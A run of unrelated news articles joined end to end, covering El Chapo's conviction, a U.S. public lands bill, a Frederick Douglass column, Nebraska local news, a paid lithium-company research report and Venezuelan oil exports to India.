But temperatures were expected to plummet later in the week, with predicted highs of 60 degrees Thursday, 55 degrees Friday, 47 degrees Saturday and 34 degrees Sunday, the weather service reported. Breezy weather is in Colorado Springs forecast Thursday, with 15 to 20 mph winds slowing to 10 to 15 mph in the afternoon. Winds could gust up to 35 mph.NEW YORK  Mexico's most notorious drug lord, Joaquin "El Chapo" Guzman, was convicted Tuesday of running an industrial-scale smuggling operation after a three-month trial packed with Hollywood-style tales of grisly killings, political payoffs, cocaine hidden in jalapeno cans, jewel-encrusted guns and a naked escape with his mistress through a tunnel.

Guzman listened to a drumbeat of guilty verdicts on drug and conspiracy charges that could put the 61-year-old escape artist behind bars for decades in a maximum-security U.S. prison selected to thwart another one of the breakouts that made him a folk hero in his native country.

According to a report by Reuters, that prison probably will be the Administrative Maximum Penitentiary (ADX), or Supermax, in Florence.

A jury whose members' identities were kept secret reached a verdict after deliberating six days in the expansive case, sorting through what authorities called an "avalanche" of evidence gathered since the late 1980s that Guzman and his murderous Sinaloa drug cartel made billions in profits by smuggling tons of cocaine, heroin, meth and marijuana into the U.S.

As the judge read the verdict, Guzman stared at the jury straight-faced. When the jury was discharged, he leaned back in his chair to catch the eye of his wife, who gave him a subtle thumbs-up.

U.S. District Judge Brian Cogan lauded the jury's meticulous attention to detail and the "remarkable" approach it took toward deliberations. Cogan said it made him "very proud to be an American."

Evidence showed drugs poured into the U.S. through secret tunnels or hidden in tanker trucks, concealed in the undercarriage of passenger cars and packed in rail cars passing through legitimate points of entry  suggesting that a border wall wouldn't be much of a worry.

The prosecution's case against Guzman, a roughly 5-foot figure whose nickname translates to "Shorty," included the testimony of several turncoats and other witnesses. Among them were Guzman's former Sinaloa lieutenants, a computer encryption expert and a Colombian cocaine supplier who underwent extreme plastic surgery to disguise his appearance.

One Sinaloa insider described Mexican workers getting contact highs while packing cocaine into thousands of jalapeno cans  shipments that totaled 25 to 30 tons of cocaine worth $500 million each year. Another testified how Guzman sometimes acted as his own sicario, or hitman, punishing a Sinaloan who dared to work for another cartel by kidnapping him, beating and shooting him and having his men bury the victim while he was still alive, gasping for air.

The defense case lasted just half an hour. Guzman's lawyers did not deny his crimes as much as argue he was a fall guy for government witnesses who were more evil than he was.

In closing arguments, defense attorney Jeffrey Lichtman urged the jury not to believe government witnesses who "lie, steal, cheat, deal drugs and kill people."

U.S. Attorney Richard Donoghue called the conviction "a victory for the American people who suffered so much" while the defendant poured poison over the borders. He expected Guzman to get life without parole.

"It is a sentence from which there is no escape and no return," Donoghue said.

Lichtman described the conviction as "devastating," but he said he was proud that the defense "left it all on the battlefield."

Deliberations were complicated by the trial's vast scope. Jurors were tasked with making 53 decisions about whether prosecutors have proven different elements of the case.

The trial cast a harsh glare on the corruption that allowed the cartel to flourish. Colombian trafficker Alex Cifuentes caused a stir by testifying that former Mexican President Enrique Pena Nieto took a $100 million bribe from Guzman. Pena Nieto denied it, but the allegation fit a theme: politicians, army commanders, police and prosecutors, all on the take.

The tension at times was cut by some of the trial's sideshows, such as the sight of Guzman and his wife, Emma Coronel Aispuro, showing up in matching burgundy velvet blazers in a gesture of solidarity. Another day, a Chapo-size actor who played the kingpin in the TV series "Narcos: Mexico" came to watch, telling reporters that seeing the defendant flash him a smile was "surreal."

While the trial was dominated by Guzman's persona as a near-mythical outlaw who carried a diamond-encrusted handgun and stayed one step ahead of the law, the jury never heard from Guzman himself, except when he told the judge he wouldn't testify.

But his sing-songy voice filled the courtroom, thanks to recordings of intercepted phone calls. "Amigo!" he said to a cartel distributor in Chicago. "Here at your service."

One of the trial's most memorable tales came from girlfriend Lucero Guadalupe Sanchez Lopez, who testified she was in bed in a safe house with an on-the-run Guzman in 2014 when Mexican marines started breaking down his door. She said Guzman led her to a trap door beneath a bathtub that opened up to a tunnel that allowed them to escape.

Asked what he was wearing, she replied: "He was naked. He took off running. He left us behind."

The defendant had previously escaped from jail by hiding in a laundry bin in 2001. He then got an escort from crooked police officers into Mexico City before retreating to one of his many mountainside hideaways. In 2014, he pulled off another jail break, escaping through a mile-long lighted tunnel on a motorcycle on rails.

Even when Guzman was recaptured in 2016 before his extradition to the United States, he was plotting another escape, prosecutor Andrea Goldbarg said in closing arguments.

"Why? Because he is guilty and he never wanted to be in a position where he would have to answer for his crimes," she told the jury. "He wanted to avoid sitting right there. In front of you."

___

Associated Press Writer Jim Mustian contributed to this report.WASHINGTON  The Senate on Tuesday approved a major public lands bill that revives a popular conservation program, adds 1.3 million acres of new wilderness, expands several national parks and creates four new national monuments.

The measure, the largest public lands bill considered by Congress in a decade, combines more than 100 separate bills that designate more than 350 miles of river as wild and scenic, add 2,600 miles of new federal trails, and create nearly 700,000 acres of new recreation and conservation areas. The bill also withdraws 370,000 acres in Montana and Washington state from mineral development.

The Senate approved the bill, 92-8, sending it to the House.

Lawmakers from both parties said the bills most important provision was to permanently reauthorize the federal Land and Water Conservation Fund (LWCF), which supports conservation and outdoor recreation projects across the country. The program expired last fall after Congress could not agree on language to extend it.

LWCF has helped pay for hundreds of parks and recreation projects across Colorado.

Among Colorado provisions in the new combined bill:

 Language calling for a study of designating the site of the Amache World War II internment camp for Japanese Americans as a national historic park.

 A study of adding the route of explorer Zebulon Pike (for whom Pikes Peak is named) to the national scenic trails system.

 The addition of 280 acres to Florissant Fossil Beds National Monument in Teller County.

 The addition of land to Arapaho National Forest.

When Congress failed to reauthorize LWCF before it expired last September, it prompted an outcry from the Colorado delegation.

On Tuesday, both of Colorados senators supported its renewal.

After four years of working on this issue, the Senate was finally able to permanently reauthorize the crown jewel of conservation programs, the Land and Water Conservation Fund, U.S. Sen. Cory Gardner said in a statement.

I have championed this program throughout my time in the Senate because of how important it is to all Coloradans who love our great outdoors.

Thank you to every Coloradan who has spoken up in support of LWCF, met with me across the state at an LWCF-funded project, and traveled to Washington to advocate for this critical program, said Sen. Michael Bennet. Its your persistence that has led to this historic vote in the Senate to permanently save the conservation fund.

The Denver-based conservation group Center for Western Priorities cheered the news of LWCFs passage in the Senate, but noted that the bill does not provide full, dedicated funding for the program.

The LWCF is funded by federal oil and gas lease revenue from offshore drilling. Congress is authorized under the legislation enacted in 1965 to spend $900 million per year to build or maintain projects on public lands but only twice allocated the full amount. Instead, Congress has diverted more than $21 billion from the LWCF trust fund to other purposes.

The Colorado Division of Parks and Wildlife estimates the LWCF helped pay for $147 million in state projects and $120 million for federal projects.

The federal part of the Colorado funding was only $61 million. However, the federal funds acted as seed money to help the state secure additional financing from other public and private sources.

The hodgepodge bill passed Tuesday offered something for nearly everyone, with projects stretching across the country.

The bill creates three new national monuments to be administered by the National Park Service and a fourth monument overseen by the Forest Service. The three park service monuments are the Medgar and Myrlie Evers Home National Monument in Mississippi and the Mill Springs and Camp Nelson national monuments in Kentucky.

The Evers site was the home of the slain civil rights leader, while Mill Springs commemorates a Civil War battlefield. Camp Nelson was used as Union Army hospital and recruiting center during the Civil War. President Trump proclaimed Camp Nelson a national monument last year, but the bill gives it permanent, congressionally approved protection.

The bill also designates the former St. Francis Dam site in California as a national memorial and monument. The dam outside Los Angeles collapsed in 1928, killing 431 people in one of the largest tragedies in California history.

While this monument will serve as a reminder of the consequences of a failure of infrastructure, it offers a lesson going forward, said Sen. Kamala Harris, D-Calif.Nepal government tightens screws on social media

The government has proposed a new law seeking to impose a fine of Rs 1.5 million and five years in prison for those writing improper things on the social networking sites.Frederick Douglass was speaking in Pendleton, Ind., on a sunny Saturday in 1843. On Americas vast prairie, a revolutionary was shouting against the evils of slavery.

It was the volcanic outbreak of human nature, a reporter wrote after hearing Douglass. It was the storm of insurrection.

During the talk, several dozen men armed with stones and clubs encircled the crowd of 130. These enraged men, like most Americans of 1843, supported slavery. It was  and this forever will remain astonishing  the law of the land.

Suddenly, vile mob attacked peaceful crowd. A swing from a club fractured Douglass right hand. A second swing busted open his forehead, knocked him to the ground and removed several teeth. A third swing, likely fatal, was on the way before anti-slavery crusader William White rescued Douglass.

A monument to this vicious attack was erected in Pendleton in 2013. Heres my favorite sentence from the monuments long inscription:

Douglass spoke the next day at nearby Friends (Quaker) meetinghouse without incident.

Think about it: Not even a brush with death could silence Douglass, who belongs on any list of great Americans. We tend to consider his courage during Black History Month. We should consider his courage every month.

It is Jason Kohls challenge and honor to teach the Douglass story to juniors and seniors at Palmer High School. Tuesday, Kohl sits at a downtown lunch table and talks about bringing a man born 201 years ago this month to life for teens born in the 21st century. Kohl is Colorado Springs, through and through. Hes a 1986 Doherty High alum who later graduated from UCCS and Colorado College.

In 1843, Douglass walked on perilous ground. Most white Americans fiercely supported or, at best, nonchalantly shrugged at the idea of one human owning another human. Evil was socially acceptable, and speaking against evil was life endangering.

These are folks who were willing to stand, willing to stand for something that is right, even though the majority believed that they were in the wrong, Kohl says of the anti-slavery crusaders.

After telling the Douglass story to Palmer students, Kohl follows with a question. He asks the question in 2019, but its the same question that inspired Alexander Hamilton and Abraham Lincoln and Susan B. Anthony and Martin Luther King Jr.

Are you willing today to stand for what is right? Kohl asks.

Are you willing to stand if youre the only one standing? Are you willing to stand when everybody else wants to knock you down for what you believe?

That is Frederick Douglass.

The story of Frederick Douglass has the rhythm and weight of an Old Testament tale. Born into slavery in Maryland in 1818, he died 65 miles away in his stately white home on a hill in Washington D.C., where he could sit on his front porch and gaze at the U.S. Capitol. He ranked among Americas best-selling writers in the 19th century. Impoverished slave transformed to wealthy celebrity.

But trouble always blended with triumph.

He had plentiful reason to hate his homeland. He was beaten as a child by slavemasters. He was beaten by slavery supporters in Indiana. He was a lonely, imperiled voice against slavery in the 1840s and 1850s. He sent his sons to battle in the Civil War. After the war, Douglass believed the truth would set his countrymen free, and the morally blind would be blessed with sight. Instead, he saw a violent cloud fall over the Deep South. Segregation became the American norm. Emancipation did not result in equality.

Still, he refused to indulge in cynicism. He soared, always, above reality, believing, fiercely and utterly, in Americas unmatched promises.

Read then the preamble of the Constitution, he said in an 1857 speech. Note how it starts. We the people of the United States  not we the white people, but we the people. 

In one of his final speeches, Douglass stood on an August day before a big Chicago crowd. A few words into his prepared speech, a crowd of whites in the audience loudly mocked him, and for a moment the strength of a 74-year-old American giant was shaken.

But only for a moment.

Douglass tossed his speech to the ground and removed his glasses. Standing in the middle of his still scattering speech, Douglass shouted down the shouters. In his youth, he had been described as majestic in his wrath. Age failed to conquer that majesty. His hour-long speech ended with uproarious applause.

He asked, Whether the American people have loyalty enough, honor enough, patriotism enough to live up to their own Constitution?

A soul-shaking question in 1893.

A soul-shaking question that Kohl still asks today.Colorado Springs, CO (80903)

Today

Partly cloudy with afternoon showers or thunderstorms. High 82F. ENE winds shifting to SSW at 10 to 15 mph. Chance of rain 50%..

Tonight

Clear to partly cloudy. Low 56F. Winds NNW at 10 to 15 mph.You met cute at an airport lounge and have been together ever since. Maybe yours isnt the most exciting relationship, but its comfortable, consistent, honest. Then something drops, and you realize it was all a lie.

That globe-trotting gent from the East, whose name means morning sun in Japanese? Real forwarding address: Canada.

The visiting aristocrat with deep roots in the German brewing pantheon? You met in St. Louis because thats where he was born.

The sand-dusted surfer dude from the Big Island? Actually from New Hampshire and cant swim.

Potential partners and politicians arent the only ones known to play a little fast and loose with origin stories and vital statistics. But if youre a beer fan whos been betrayed, and youre willing to get litigious and stick it out, recovering from a breakup could come with a few ounces of justice and (maybe) even a couple of bucks.

Longtime Kona Brewing Co. fan Simone Zimmer thought she was getting a Hawaii-brewed, rather than Hawaii-themed, beer when she picked up an Island Hopper Variety 12-pack a few years ago at a retailer near her home in San Bernardino, Calif.

The tropical beer fantasy is what Kona wanted her to see, with labels bearing colorful images of waves, erupting volcanoes and other evocative island scenes, as well as a map showing the location of the companys Kailua-Kona brewery on the Big Island.

Based on these representations, Ms. Zimmer believed that each of the Kona Brewing Co. Beers she purchased was brewed in Hawaii, according to a complaint filed in 2017 against Kona owner Craft Brew Alliance, Inc. However, unbeknownst to Ms. Zimmer, the Kona Brewing Co. Beers she purchased were not brewed in Hawaii, but instead were brewed in the continental United States.

The still-brewing Kona class-action suit isnt the only to emerge in recent years by consumers claiming false or misleading advertising (fact misdirection?) by beer brands.

Fosters faced it for being Aussie for beer in name only; Red Stripe, for faking a Jamaican accent when hanging with U.S. fans. In 2015, AB InBev agreed to pay out more than $20 million to settle such a suit, reimbursing up to $50 per household to U.S. consumers who thought the Becks they were drinking and paying import-style premiums for was brewed in Germany, rather than the Gateway to the West.

And in a more recent settlement, consumers of Asahi Super Dry or Asahi Select who bought the beers thinking they were imported from Japan, rather than made by Molson in Canada, have until May 3 to file a claim, at asahibeersettlement.com.

Qualifying households could get up to $10 back  enough to buy a six-pack of beer they trust. If they can ever trust again.AYBAK, Afghanistan  Hamida, an Afghan woman, lost a lot late last year when her village was caught in the crossfire between government forces and the Taliban in northern Afghanistan.

As the rockets, artillery, and mortar shells fell, I lost my 2-year-old child and many relatives, she recalls of the fighting in December that forced her to flee their village in rural Faryab Province, which borders Turkmenistan. We fled in the clothes we were wearing.

Like many Afghans, Hamida goes by one name only. She says they fled their village, dodging bullets by ducking into irrigation channels and canals. Like the tens of thousands of civilians displaced from Faryabs once-peaceful Andkhoy and Qurghan districts, they first sought shelter in the provincial capital, Maymana.

They later moved to Aybak, some 400 kilometers away in Samangan Province. We lost everything, she said.

Like dozens of displaced families from Faryab, Hamida lives in a makeshift tent they hurriedly built by wrapping tarpaulin, carpets, cloth, and plastic sheets around wooden beams. In the absence of fire or heating, the tent provides little protection from the bitter cold outside.

Abdul Wadud, a displaced man from Faryab, recounts the difficulties they encountered after they were sandwiched between the Taliban and government forces.

The Taliban were using our homes as their hideouts while government planes were bombing from above and security forces poured in artillery shells from all sides, he told Radio Free Afghanistan. This forced us to flee to Samangan with our families.

Shukria, a housewife, says they have received little help from the authorities or aid agencies in Samangan.

We are constantly asking the government to help us with food and warm clothes, she said. Our children are hungry and cold.

Rahmatullah, another displaced man, says their petitions for help seem to be falling on deaf ears in Samangan.

We have nothing to eat, and they are not even letting us see the governor, the police chief, or other senior officials, saying we should return to Faryab and get help there, he told Radio Free Afghanistan.

Sayed Kamal Hussaini, a government official responsible for coordinating aid to Faryabs displaced, says they have meager resources but are doing their best to help.

Without waiting for funds, we helped some of the most vulnerable including the sick, with cash handouts, he said.

But provincial authorities in Samangan have done little for the 700 families who fled fighting in rural areas in recent months.

Like their compatriots from Faryab, they have lost everything and are now largely fending for themselves.

Abubakar Siddique wrote this story based on Bashir Ahmad Ghazalis reporting from Aybak, Afghanistan.U.S. Senator Ben Sasse has announced that a member of his staff will be hosting a mobile office on Feb. 21 in Fremont.

The mobile office hours are 9:30-11:30 a.m. at Keene Memorial Library, 1030 N. Broad St. Everyone is welcome.

These office hours will provide Nebraskans with a face-to-face opportunity to speak with a member of Sasses staff about federal government-related issues. A constituent services representative will be on hand to offer guidance and aid to Nebraskans who require help navigating Washington's federal bureaucracy.

The same services are offered by the senators staff in each of his state offices. Constituent services representatives can be reached at 402-476-1400.

Love 0 Funny 0 Wow 0 Sad 0 Angry 0Binod Ghimire covers parliamentary affairs and human rights for The Kathmandu Post. Since joining the Post in 2010, he has reported primarily on social issues, focusing on education and transitional justice.COLUMBUS  Gov. Pete Ricketts touted the future of Nebraskas agriculture industry on Saturday during an address to more than 120 people in Columbus.

Ricketts spoke to a crowd made of those from around the state with ties to agriculture inside the Ramada Hotel and Rivers Edge Convention Center during the final day of the Nebraska Farm Bureaus Young Farmers & Ranchers Conference.

Ricketts discussed what he and other Nebraska leaders in Lincoln are doing to help and promote the states ag industry, which he said is essential to Nebraskas growth.

We have a great legacy here in our state with our No. 1 industry, Ricketts said. One in four jobs in Nebraska is tied back to agriculture.

Support Local Journalism Your membership makes our reporting possible. {{featured_button_text}}

He highlighted the many trade missions he has taken to places like Japan, China, Canada and Mexico over the years that have helped promote Nebraska, noting 30 percent of everything we grow here is going to be exported.

He then talked about added-value agriculture, noting that modern-day technology and innovation are helping the industry add value to Nebraskas traditional commodities.The program will operate as a pilot program  a collaborative effort between the Nebraska Department of Labor and Department of Education. It will last three years, during which time it will be be affiliated with the Iowa JAG organization, which is known as iJAG.

As I travel across the state, talking to businesses and economic development groups, one of their top priorities is developing the workforce we need to connect Nebraskans to great twenty-first century jobs, Gov. Pete Ricketts said in a prepared statement. The JAG program is a great opportunity that will help develop our people so they are more readily able to take advantage of these career opportunities.

For the first two years, JAG-Nebraskas funding will be entirely covered by iJAG, as well as the Nebraska Department of Labor and Department of Education. In the third year, each school district will be required to pay for one-third of the cost.

Students must apply and be interviewed for the program. Two of the eventual three sections have already started in Fremont Public Schools, beginning back in January, said Fremont Public Schools Superintendent Mark Shepard.

One of those sections is at the high school, while the other is being held at the Fremont Learning Center. In the fall, a third section will begin at the high school, Shepard said.

Love 0 Funny 0 Wow 0 Sad 0 Angry 0Two Fremont High School students have been awarded for their eye for design by the Scholastic Art Awards of Nebraska.

Both Taylor Ladd and Riley Fox earned Silver Key Awards in the area of design for their works titled Holiday Smells Evoke Happy Memories and A New Perspective on Robots respectively.

Ladds piece focuses on the connection between smell and memory, particularly related to the holiday season. Text on her piece asks: Does a whiff of cinnamon bring back memories of your grandmothers kitchen? Is the smell of a fir tree unalterably linked to Christmas morning? The sense of smell is uniquely connected to memories, especially during the holiday season.

Foxs piece focuses on the area of robotics, and how many people misunderstand and even fear the rapidly evolving technology.

Support Local Journalism Your membership makes our reporting possible. {{featured_button_text}}

There are 29 art categories and over 3,800 entries across the state, FHS teacher Kristen Strickler said of the Scholastic Art Awards. They utilized a combination of Photoshop and Illustrator along with Adobe InDesign for the layout portion of the piece.

The design category features art created for commercial or applied purposed including graphic design work that has a defined use such as advertising or communications.With growth and production of industrial hemp newly legalized by the 2018 federal farm bill, the Legislature began Tuesday to shape legislation that will hand beleaguered Nebraska farmers a new crop option.

"You can't get high on hemp, but you might make enough money to save the family farm," University of Nebraska at Kearney economics professor Allan Jenkins told the Legislature's Agriculture Committee at a public hearing on implementing legislation.

Sen. Justin Wayne of Omaha authored the proposal (LB657) and told the committee that it might result in manufacturing and marketing opportunities in the Omaha area along with agricultural opportunities in rural areas across the state.

"This is not marijuana," Wayne said. "It will not get you high; it's a safe product that can provide an alternative crop for farmers (and) an opportunity for Nebraskans."

Industrial hemp-based products range from automotive parts to textiles, furniture, fabrics, food, paper and construction supplies.

"Soybeans, corn and wheat aren't cutting it for farmers anymore," Imperial farmer Roger Harmon said, and he's ready to take advantage of an opportunity to grow hemp on his land.By Steven Ralston, CFA



TSX:WML.V

OTC:WMLLF



READ THE FULL RESEARCH REPORT HERE



Wealth Minerals (WML.V) (WMLLF) is a junior mineral exploration company that is well-positioned to benefit from its portfolio of prospective lithium projects in the Lithium Triangle. The company holds control over portions of several lithium salar projects in northern Chile (Atacama, Trinity and others). Management intends to advance its concessions through exploration programs and opportunistically acquire additional ones. The Agreement with ENAMI creates a path for the development of Wealths Atacama and Laguna Verde Projects. The Lithium Triangle appears to be the global sweet spot for low-cost incremental supply of lithium.



Corporate Update



On February 11, 2019, Wealth Minerals provided a corporate update, which included announcements of fine-tuning the companys lithium asset portfolio, a $1.5 million loan facility and of a renegotiated schedule for the option payment of the Atacama Project.



Lithium Asset Portfolio Update



Management continuous reviews the options on the mineral properties within companys lithium asset portfolio. At times, adjustments are made. In this corporate update, several changes were announced. Three new properties (Flamenco, Vapor and Harry) entered the portfolio while two projects (Laguna Verde and Five Salars) were relinquished. The land package associated with the Laguna Verde (namely the Salar Green & Union concessions) is being retained and remains in good standing. The changes were implemented primarily to conserve cash by eliminating the need for additional option payments on those options being relinquished. The development of the Atacama and Trinity projects remains the main focus of management.



Acquisition of the Flamenco, Vapor and Harry Projects



Wealth Minerals has acquired three new projects (the Flamenco, Vapor and Harry Projects) for 1,450,000 common shares. The Harry Project increases the companys land position in the Atacama Basin from 46,200 to approximately 54,100 hectares.







View Exhibit I



The 2,800-hectare Flamenco Project is located in the Salar del Huasco in northern Chile. The property may have consolidation potential. Freeport McMoRan, BHP Billiton and CODELCO have copper properties in the region. However, the biodiversity of the area (including a wide variety of fauna and a significant flamingo population), concerns for the aquifer, the shallowness of the salar (predominately salt marshes and seasonal ponds with depths of only 4-to-18 centimeters) and the creation of the Salar del Huasco National Park in 1996 (which encourages tourism) would appear to hamper commercial efforts to extract minerals.







View Exhibit II







View Exhibit III



The 4,200-hectare Vapor Project is located in the Salar de Ollague. On an adjacent property, Lithium Chile (LITH.V) completed a drilling program that identified a 180-meter zone of brine with grades of up to 480 mg/l Li, though the company cautions that these drilling results should not be inferred to be applicable to the potential Vapor Project.







View Exhibit IV



Relinquishment of the Original Laguna Verde Property and Five Salars Project



The size of the Laguna Verde Project was reduced with the option on the original 2,438-hectare Laguna Verde property having been relinquished. The option on the land package at Salar Laguna Verde (the Salar Green and Union concessions) remains in good standing. Simplistically, the areas with sub-surface drill targets that were determined by the Transient Electromagnetic (TEM) surveys completed in mid-2018 remain under the companys control while the area with above-ground surface brine have been relinquished.



The option on the 10,500-hectare Five Salars Project was also relinquished in consideration for a payment of USD $500,000 to Atacama Lithium SpA, the underlying property vendor.



These most recent changes increased the area of the companys lithium asset portfolio from 75,900 to 77,862 hectares.



Loan Facility



Wealth Minerals has obtained a 1-year, 8% $1,500,000 loan from various lenders, who will also receive (in aggregate) 3,750,000 nontransferable bonus warrants, each exercisable into one common share at $0.40.



Other Previously Announced Financing



On January 30, 2019, Wealth Minerals closed a private placement of 3,942,500 Units, each consisting of one common share and one-half of 2-year warrant. Each whole warrant is exercisable into one common share at a price of $0.75. Priced at $0.40 per Unit, gross proceeds were $1,577,000. The securities were issued in Canada and are not registered in the United States under the Securities Act of 1933. The net proceeds will be used to fund mineral property option payments, property assessment and exploration costs and general & administrative expenses. The private placement was oversubscribed having been originally announced as up to 3,750,000 Units in size.



Revised Schedule for Option Payment of the Atacama Project



The terms of the Atacama option (dated October 28, 2016) has been renegotiated with Atacama Lithium SpA, the underlying property vendor. The Atacama Option grants Wealth Minerals the exclusive right to acquire a 100% royalty-free interest in 144 exploration mining concessions (pedimentos), which encompass 46,200 hectares in Chiles Region II.







View Exhibit V



The remaining commitment of the option (USD $5,000,000 and 5,000,000 common shares) due on March 1, 2019 has been rescheduled. The payment of 5,000,000 shares was moved up to February 19, 2019 while the $5.0 million was extended out in tranches with $2.5 million drawn-out by almost a year (see table above).



Proposed Spin-Out of Newly Acquired Chilean Copper Assets



On December 4, 2018, Wealth Minerals announced managements intent to spin-out two newly acquired Chilean copper projects (the Escalones Copper Porphyry Project and the Cristal Copper Porphyry Project) in an entity known as Wealth Copper. Management anticipates the timing to be in the spring of 2019 and contingent on shareholder approval, a final court order from the Supreme Court of British Columbia and approval for listing Wealth Copper on the TSX-V.



Management became aware of these opportunities through its constant exposure to deal flow in Chile. Rather than dilute the companys focus on lithium projects, it was decided to take advantage of these copper prospects and spin them out to shareholders of Wealth Minerals. Currently, the spin-out is anticipated to be one common share of Wealth Copper for every three common shares of Wealth Minerals with a concurrent CAD $5 million private placement by Wealth Copper resulting in TriMetals Mining (TMI.TO) owning at least 30% of Wealth Copper, shareholders of Wealth Minerals holding approximately 30% and the private placement shareholders owning approximately 40%.







View Exhibit VI



The Escalones Copper-Gold Porphyry Project encompasses 59 exploitation concessions covering 16,100 hectares, some of which host porphyry and skarn copper-gold mineralization. The project is located 35 kilometers east of CODELCOs well-known El Teniente underground copper mine. A NI 43-101-compliant mineral resource estimate on the Escalones Porphyry Copper Project was completed in July 2014.







View Exhibit VII



Located in northern Chile about 10 kilometers from the border with Peru, the Cristal Copper Porphyry Property encompasses approximately 900 hectares in three exploitation concessions. A NI 43-101-compliant Technical Report on the Cristal Copper Property was completed in March 2018. It is believed that the property hosts a porphyry copper mineralization deposit at depth as supported by a fault zone and airborne geophysical data surveys (magnetics, gravity, and electromagnetic) conducted by BHP Billiton between 2012 and 2014. A circular doughnut-shaped anomaly (approximately 3 kilometers in diameter) was defined by the reduced-to-pole magnetic data while the electromagnetic data suggests a northwest-trending topographic ridge underlies the volcanic cover-rocks at a depth of at least 600 meters. Wealth Minerals signed a letter of intent (LOI) on August 30, 2018 with New Energy Metals Corp. (ENRG.V) to acquire the Cristal Property.







View Exhibit VIII



Webcast of CEOs Presentation at NobleCon 2019



On January 28, 2019, Henk Van Alphen, CEO of Wealth Minerals, presented at the 15th Annual Investor Conference hosted by Noble Capital Markets. The presentation should remain available for 90 days thereafter at: http://noble.mediasite.com/mediasite/Catalog/catalogs/noblecon-2019.





Major Corporate Event in 2018



On March 19, 2019, Wealth Minerals announced the formation of a strategic alliance with ENAMI (Empresa Nacional de Mineria aka National Mining Company of Chile). Under current Chilean regulatory framework, lithium can only be exploited by the Government of Chile, a Chilean state-owned company or special operational contracts specified by the President of Chile. Only three (3) entities qualify to advance lithium projects to production in Chile; ENAMI is one with the other two being CORFO and CODELCO. ENAMI was founded in 1969 as a state company to promote the success of small-and-medium sized Chilean mining companies by providing toll milling and processing services. ENAMI is partnered with CCHEN (La Comision Chilena de Energia Nuclear aka the Chilean Nuclear Energy Commission), the governmental agency that grants lithium export quotas.



Brief 2018 Industry Review



Lithium mining companies were pressured in 2018 over concerns that an oversupply situation would occur starting in 2019. In the second quarter of 2018, LCE prices began to decline sharply, pressuring all lithium stocks, including producers and juniors. During 2018, the Global X Lithium & Battery Tech ETF (LIT) declined 30.4%.



However, at the same time, the future demand for lithium appears robust with many industrial companies, particularly EV manufacturers, announcing their anticipated need for lithium for use in battery applications. We believe that the demand for lithium will surpass the available supply in the next few years. Historically, supply projections have been overestimated due to the inability of lithium producers to ramp up production of battery-grade lithium in a timely fashion.



Headquartered in Vancouver, British Columbia, Wealth Minerals Ltd is a junior exploration company that is building a portfolio of highly prospective lithium-brine mineral concessions located within the Lithium Triangle, currently targeting properties within salars situated in Chile. However, managements scope for potential lithium-in-water and brine candidates extends beyond the region in the search for prospective mineral properties.



Not only has management positioned the company to benefit from the upcoming expected growth of demand in the lithium space, but also continues to seek the acquisition of additional interests in prospective concessions. The company continues to constantly review and evaluate a number of properties in the region and then aggressively pursues control of the attractive ones that would complement the current portfolio of concessions.



In the near future, the Lithium Triangle is poised to become even more dominate as the major source of lithium in the world not only due to the vast identified lithium resources in the region, but also because brine production more cost-competitive relative to hard-rock and clay sources of lithium.



With the tipping point toward higher lithium prices on the horizon and with brine deposits poised to be a major contributor to low-cost incremental supply, lithium exploration & development companies of the Lithium Triangle, with their blue sky potential, appear to be well positioned to benefit from higher lithium prices.



SUBSCRIBE TO ZACKS SMALL CAP RESEARCH to receive our articles and reports emailed directly to you each morning. Please visit our website for additional information on Zacks SCR.



DISCLOSURE: Zacks SCR has received compensation from the issuer directly or from an investor relations consulting firm, engaged by the issuer, for providing research coverage for a period of no less than one year. Research articles, as seen here, are part of the service Zacks provides and Zacks receives quarterly payments totaling a maximum fee of $30,000 annually for these services. Full Disclaimer HERE.

Story continuesFILE PHOTO: Venezuela's Oil Minister and President of Venezuelan state-run oil company PDVSA Manuel Quevedo arrives to attend the Petrotech conference in Greater Noida FILE PHOTO: Venezuela's Oil Minister and President of Venezuelan state-run oil company PDVSA Manuel Quevedo (C) arrives to attend the Petrotech conference in Greater Noida, India, February 11, 2019. REUTERS/Anushree Fadnavis/File Photo

By Collin Eaton, Marianna Parraga and Gleb Gorodyankin

HOUSTON/MEXICO CITY/MOSCOW (Reuters) - Venezuelan oil company PDVSA is looking to double exports to India as U.S. sanctions hobble deliveries to the United States and Europe.

The United States and most Western countries have recognized opposition leader Juan Guaido as Venezuela's head of state, but President Nicolas Maduro retains the backing of Russia and China as well as control of state institutions including the military.

The country's oil exports since the sanctions took effect on Jan. 28 have fallen to 1.15 million barrels per day (bpd) of crude and refined products, Refinitiv Eikon data showed, down from about 1.4 million bpd.

In response, Venezuela is turning its focus to buyers paying in cash, especially in India, its second-largest customer after the United States.

Before the sanctions, PDVSA shipped over 500,000 bpd to the United States, its largest cash market, followed by India at above 300,000 bpd and then China.

Venezuela has sent its oil minister, Manuel Quevedo, to India to convince refiners, including Reliance Industries Ltd and Nayara Energy Ltd, to double their oil purchases.

"We are selling more than 300,000" bpd to Indian buyers, Quevedo said on Monday in New Delhi. "We want to double that amount."

Venezuela is open to barter arrangements with India using oil as payment, he said, but did elaborate.

Two supertankers, Baghdad and Folegandros I, left from Venezuela's Jose terminal late on Monday carrying cargoes destined for Indian ports.

Refinitiv Eikon ship tracking data showed several other tankers carrying Venezuelan crude or fuel towards Asia.

FINANCIAL HURDLES

Finding buyers in Asia may be difficult, however, analysts said, as Washington uses its political and financial clout to pressure countries to stay clear of dealing with PDVSA.

It remains unclear how cash sales would be effected without using the U.S. or European bank systems after April 28, a deadline set by the U.S. Treasury.

Story continues

Barclays bank addressed the issue in a special report on Tuesday.

"Considering all the difficulties that Venezuela faces in delivering oil to other markets and the legal, reputational and financial risks confronting traders or counterparties that do business with it under the current conditions," the bank wrote. "It seems unlikely that all production can, in short order, go to other markets."

The U.S. sanctions are designed to undercut financial support for President Maduro, cutting his access to oil revenue that has helped his government remain in power.

U.S. bank Goldman Sachs said in a note on Wednesday that because of the sanctions there was "limited ability for non-U.S. refiners to take on Venezuela's very heavy crude" beyond India and China.

INDIAN DEALS AND ROSNEFT

India's Reliance is among PDVSA's main cash customers, while Nayara receives Venezuelan oil via its stakeholder, Russia's Rosneft.

Rosneft provided PDVSA with around $6.5 billion in loans from 2014 to 2017, to be repaid in oil and oil product supplies.

PDVSA's debt to Rosneft stood at $2.3 billion at the end of last year, Rosneft said last week.

It was supplying Rosneft with an average of 137,000 bpd of heavy crude and refined products before the latest sanctions, PDVSA trade data seen by Reuters showed.

Under its pre-payment deal with Rosneft, PDVSA deliveries about half that crude to Nayara, which controls Vadinar, India's second largest refinery, and sends the rest to Europe, including to Rosneft refining assets in Germany.

